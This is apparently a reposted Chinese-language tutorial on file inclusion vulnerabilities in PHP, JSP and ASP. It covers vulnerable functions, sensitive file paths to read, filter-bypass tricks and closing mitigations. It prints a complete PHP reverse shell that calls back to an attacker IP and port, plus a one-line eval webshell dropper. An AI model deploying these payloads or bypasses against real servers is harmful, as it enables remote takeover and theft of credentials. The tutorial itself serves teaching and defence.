赞
踩
1.文件包含简介
开发者将相同的函数写进单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写。这种文件调用的过程称为文件包含。
2.文件包含漏洞简介
开发人员为了使代码更加灵活,会将包含的文件设置为变量,用来进行动态调用,从而导致客户端可以调用一个恶意文件,这就会造成文件包含漏洞。
由于开发人员编写源码时可将重复使用的代码写入到单个文件中,并在需要使用的时间将它们包含在特殊的代码中,这样包含的文件中的代码就会执行。如果没有针对代码中存在文件包含的函数入口做过滤,那么就可能会导致客户端可以提交恶意的语句,并且这些语句会交由服务器端进行执行。这样就可能会泄露敏感信息或者执行恶意代码。
1.文件包含常见函数
PHP文件包含相关函数如下
- include()函数
找不到被包含的文件,只会报错,但会继续执行脚本- include_once()函数
与include()函数类似,区别在于重复调用同一文件时,程序只调用一次- require()函数
找不到被包含的文件,会报错,并且停止执行脚本- require_once()函数
与require()函数类似,区别在于重复调用同一文件时,程序只调用一次- fopen()函数
打开文件或者 URL,如果打开失败,本函数将返回false
readfile()函数
该函数读入一个文件并写入到输出缓冲,若成功,则返回从文件中读入的字节数;若失败,则返回falseJSP文件包含相关函数如下
- java.io.File()函数
打开一个文件的函数- java.io.FileReader()函数
读取一个文件的函数ASP文件包含函数如下
- include file
包含一个文件(包含文件的相对路径)- include virtual
包含一个文件(包含文件的虚拟路径)
2.文件包含的特征
URL栏中有以下内容则可能存在文件包含
- ?page=
- ?file=
- ?home=
3.目录遍历和文件包含的区别
(1):目录遍历是可以读取web目录以外的其他目录,根源在于对路径的访问权限设置不严格,针对于本系统。
(2):文件包含是利用函数来包含web目录以外的文件,分为本地文件包含和远程文件包含。
文件包含分为本地文件包含和远程文件包含,本地文件包含主要是用来查看目标主机的敏感信息;而远程文件包含主要是用来包含木马等可执行文件来获取shell。
重点:对于PHP环境,被包含的文件会优先被当作php文件进行解析,如果被包含的文件中存在php代码,那么就会按照php类型执行该文件中的php代码;如果不包含php代码,则会将其中的内容全部原样打印处理。(但是对于JSP来说,如果包含一个非JSP扩展名的文件时,即使其中的内容包含JSP,但是服务器也不会把该文件当JSP文件来处理)
如果要使用文件包含,则需要将php.ini的配置文件中allow_url_include = Off改为allow_url_include = On
- Windows
常见的敏感信息路径
(1):查看系统版本:C:\boot.ini
(2):查看IIS配置文件:C:\windows\system32\inetsrv\MetaBase.xml
(3):查看存储Windows系统初次安装的密码:C:\windows\repair\sam
(4):查看MySQL配置:C:\ProgramFiles\Mysql\my.ini
(5):查看MySQLroot密码:C:\ProgramFiles\mysql\data\mysql\user.MYD
(6):查看php配置信息:C:\windows\php.ini
1.查看boot.ini文件:C:\boot.ini(没有包含php代码,原样打印)
2.查看phpinfo文件:C:phpStudy\PHPTutorial\WWW\phpinfo.php(包含了php代码,执行其中的代码)
3.修改phpinfo文件后缀名(包含php代码,虽然后缀名为txt,但是还是会当成执行php执行)
- Linux
常见的敏感信息路径
(1):查看账户信息:/etc/passwd
(2):查看密码文件:/etc/shadow
(3):查看Apache2配置文件:/usr/local/app/apache2/conf/http.conf
(4):查看虚拟网站配置:/usr/local/app/conf/extra/http-vhost.conf
(5):查看php相关配置:/usr/local/app/php5/lib/php.ini
(6):查看Apache配置文件:/etc/httpd/conf/httpd.conf
(7):查看MySQL配置文件:/etc/my.conf
1.查看/etc/passwd文件:/etc/passwd
2.查看DNS文件:/etc/resolv.conf
3.查看SSH连接记录:/root/.ssh/known_hosts
4.查看网卡信息:/etc/network/interfaces
1.使用远程包含反弹shell
(1):在kali上建立shell.php文件
<?php set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.223.160'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
(2):开启kali的apache服务
(3):远程包含该shell.php文件
成功拿到shell
2.文件包含一句话木马
(1):在kali的/var/www/html下写入一句话木马
(2):开启Apache服务
(3):进行远程文件包含并执行系统命令
1.如果过滤了关键字,使用大小写、复写绕过。例如远程文件包含中如果过滤了http,可以使用HttP、hthttptp来进行绕过。
2.使用00截断
新建1.jpg,写入以下内容
< ?fputs(fopen(“shell.php”,“w”),"<?php eval($_POST[cmd]);?>") ?>
这样的话比如上传一个1.jpg图片码,这样可以绕过去白名单限制,但是现在上传到服务器端的文件为1.jpg.php,因此但是当你去访问http://www.xxx.com/1.jpg时,实际访问的是1.jgp.php,而且服务器端并没有1.jpg这个文件,因此服务器端会报错。这时,可以尝试访问http://www.xxx.com/1.jpg%00,使用%00进行截断,这时就不会再出现报错,因为其实访问的是1.jpg.php文件,只是使用%00进行截断,截断之后,服务器对截断之后的后缀名不再进行检测,但是执行的时候还是执行1.jpg.php文件。
3.使用长字节截断
在Windows下目录最大长度为256字节,Linux下为4096字节,后面超过的部分会被忽略。因此可以使用足够长的目录进行访问,前面使用./././或等内容进行填充,超过256字节或者4096字节后再在后面添加想要包含的内容,这样超过的部分服务器就不会再进行检测,但是执行的时候还是会对后面添加的内容进行执行。
1.严格限制包含中的参数,取消那些不可控的参数。
2.开启open_basedir()函数,将其设置为指定目录,则只有该目录的文件允许被访问。
3.如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含,这是最安全的办法。
4.如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。